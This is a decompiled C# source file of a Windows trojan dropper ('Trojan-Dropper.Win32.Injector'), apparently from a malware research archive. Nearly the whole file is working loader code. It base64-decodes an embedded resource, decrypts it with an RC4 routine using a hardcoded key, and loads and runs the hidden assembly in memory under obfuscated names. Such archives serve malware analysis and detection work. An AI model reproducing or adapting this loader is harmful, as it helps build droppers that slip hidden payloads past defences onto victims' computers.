MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.bntu-f14644fe23c0d35dd759c7484edf64eea694c62a0c31a27394e4038bc5972e36/zJKINkqxcpoFILDcqjUC/EYBGTQyMllNViKeJhyZz.cs

// Decompiled with JetBrains decompiler
// Type: zJKINkqxcpoFILDcqjUC.EYBGTQyMllNViKeJhyZz
// Assembly: server, Version=7.6.3.6, Culture=neutral, PublicKeyToken=null
// MVID: B399613F-AA44-4659-9C3D-A35CA13F4D34
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bntu-f14644fe23c0d35dd759c7484edf64eea694c62a0c31a27394e4038bc5972e36.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;

namespace zJKINkqxcpoFILDcqjUC
{
  [StandardModule]
  internal sealed class EYBGTQyMllNViKeJhyZz
  {
    private static ResourceManager resourceMan;

    [STAThread]
    public static void Main()
    {
      byte[] ÁÄÁ = Convert.FromBase64String(EYBGTQyMllNViKeJhyZz.ResourceManager.GetString("BwkGvmB"));
      EYBGTQyMllNViKeJhyZz.aer((byte[]) EYBGTQyMllNViKeJhyZz.dec(ref ÁÄÁ));
    }

    private static void aer(byte[] tresb)
    {
      Assembly assembly = Assembly.Load(tresb);
      MethodInfo entryPoint = assembly.EntryPoint;
      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), (object[]) null);
    }

    [EditorBrowsable(EditorBrowsableState.Advanced)]
    internal static ResourceManager ResourceManager
    {
      get
      {
        if (object.ReferenceEquals((object) EYBGTQyMllNViKeJhyZz.resourceMan, (object) null))
          EYBGTQyMllNViKeJhyZz.resourceMan = new ResourceManager("EYDbsT", typeof (EYBGTQyMllNViKeJhyZz).Assembly);
        return EYBGTQyMllNViKeJhyZz.resourceMan;
      }
    }

    public static object dec(ref byte[] ÁÄÁ)
    {
      byte[] numArray1 = new byte[8]
      {
        (byte) 1,
        (byte) 2,
        (byte) 3,
        (byte) 4,
        (byte) 5,
        (byte) 6,
        (byte) 7,
        (byte) 8
      };
      byte[] numArray2 = new byte[256];
      byte[] numArray3 = new byte[256];
      int length1 = ÁÄÁ.GetLength(0);
      int length2 = numArray1.GetLength(0);
      int index1 = 0;
      do
      {
        numArray2[index1] = checked ((byte) index1);
        numArray3[index1] = numArray1[index1 % length2];
        checked { ++index1; }
      }
      while (index1 <= (int) byte.MaxValue);
      int index2 = 0;
      int index3 = 0;
      do
      {
        index2 = checked (index2 + (int) numArray2[index3] + (int) numArray3[index3]) % 256;
        byte num = numArray2[index3];
        numArray2[index3] = numArray2[index2];
        numArray2[index2] = num;
        checked { ++index3; }
      }
      while (index3 <= (int) byte.MaxValue);
      int index4 = 0;
      int index5 = index4;
      int num1 = checked (length1 - 1);
      int index6 = 0;
      while (index6 <= num1)
      {
        index5 = checked (index5 + 1) % 256;
        index4 = checked (index4 + (int) numArray2[index5]) % 256;
        byte num2 = numArray2[index5];
        numArray2[index5] = numArray2[index4];
        numArray2[index4] = num2;
        int index7 = checked ((int) numArray2[index5] + (int) numArray2[index4]) % 256;
        ÁÄÁ[index6] = (byte) ((int) ÁÄÁ[index6] ^ (int) numArray2[index7]);
        checked { ++index6; }
      }
      return (object) ÁÄÁ;
    }
  }
}